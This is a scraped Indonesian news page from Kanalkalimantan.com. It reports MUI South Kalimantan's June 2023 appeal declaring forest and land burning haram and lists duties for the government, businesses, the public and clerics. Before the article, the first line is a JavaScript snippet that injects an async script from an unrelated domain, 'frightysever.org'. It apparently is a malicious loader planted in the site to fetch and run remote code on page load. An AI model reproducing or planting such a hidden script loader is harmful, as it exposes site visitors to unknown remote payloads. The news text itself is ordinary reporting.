(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Majelis Ulama Indonesia (MUI) Kalimantan Selatan mengeluarkan surat seruan tentang pembakaran hutan dan lahan serta pengendaliannya.
Seruan yang dikeluarkan pada tanggal 17 Juni 2023 tersebut memuat fatwa haram pembakaran hutan berdasarkan keputusan MUI Wilayah IV Kalimantan Nomor 128/MUI-KS/XII/2006 tentang pembakaran hutan dan kabur asap hasil IjtimaUlama Komisi Fatwa tanggal 13 Desember 2006 di Banjarmasin.
Sejumlah poin penting yang disampaikan MUI Kalsel yaitu menyatakan haram membakar hutan dan lahan yang dapat menimbulkan kerusakan, pencemaran lingkungan, kerugian orang lain, gangguan kesehatan, dan dampak buruk lainnya.
Baca juga: Sentra Kerajinan Desa Pulantani Wakili HSU Lomba UP2K Tingkat Kalsel
Kemudian memfasilitasi, membiarkan atau mengambil keuntungan dari pembakaran hutan lahan juga disebutkan sebagai tindakan yang haram.
“Pengengdalian kebakaran hutan dan lahan sebagaimana ketentuan umum, hukumnya wajib,” tulis seruan yang ditandatangani Ketua Umum MUI Kalsel KH Husin Naparin Lc MA.
Kemudian dijelaskan syarat-syarat pemanfaatan hutan dan lahan, diantaranya memperoleh hak yang sah, mendapatkan izin dari pihak berwenang, ditunjukkan untuk kemaslahatan, dan tidak menimbulkan dampak buruk termasuk pencemaran lingkungan.
“Pemanfaatan yang tidak sesuai dengan syarat-syarat sebagaimana dimaksud, hukumnya haram,” katanya.
Baca juga: Diduga Berkelahi, M Tewas Terkapar di Depan Kantor Kelurahan Murung Raya
Selanjutnya seruan juga ditunjukan kepada pemerintah untuk melakukan harmonisasi regulasi serta melakukan sosialisasi peraturan perundang-undangan terkait pemanfaatan hutan dan lahan.
Selain itu, pemerintah juga diminta memberikan edukasi, pemberdayaan masyarakat, membuat kebijakan yang adil, melakukan pengendalian kebakaran, serta menegakan hukum yang tegas dan adil.
Lalu para pelaku usaha diminta mentaati regulasi, melakukan pemberdayaan masyarakat, menjamin kelestarian lingkungan, menyediakan SDM dan sarana pengendali kebakaran hutan, dan mengupayakan teknologi pembukaan lahan yang ramah lingkungan.
Lalu masyarakat diminta agar melakukan upaya konstruktif, melakukan pencegahan dan penanggulangan kebakaran hutan dan lahan.
“Masyarakat juga harus berpartisipasi dalam mengawasi dan mencegah praktek pembakaran hutan dan lahan,” imbau MUI Kalsel.
Baca juga: Mengintip Sukses Pokmas Ngudi Raya Kembangkan Program RT Mandiri
Terakhir, para kiyai maupun tuan guru di Kalsel juga diminta untuk menyisipkan kalimat supaya tidak membakar hutan dan lahan sembarangan dalam menyampaikan khutbah.
“Mengimbau dan mengajak para umat dan masyarakat untuk tidak membakar hutan dan lahan sembarangan, mengingat multi dampak bagi aktivitas ibadah, kesehatan dan perekonomian,” tutup surat seruan tersebut. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.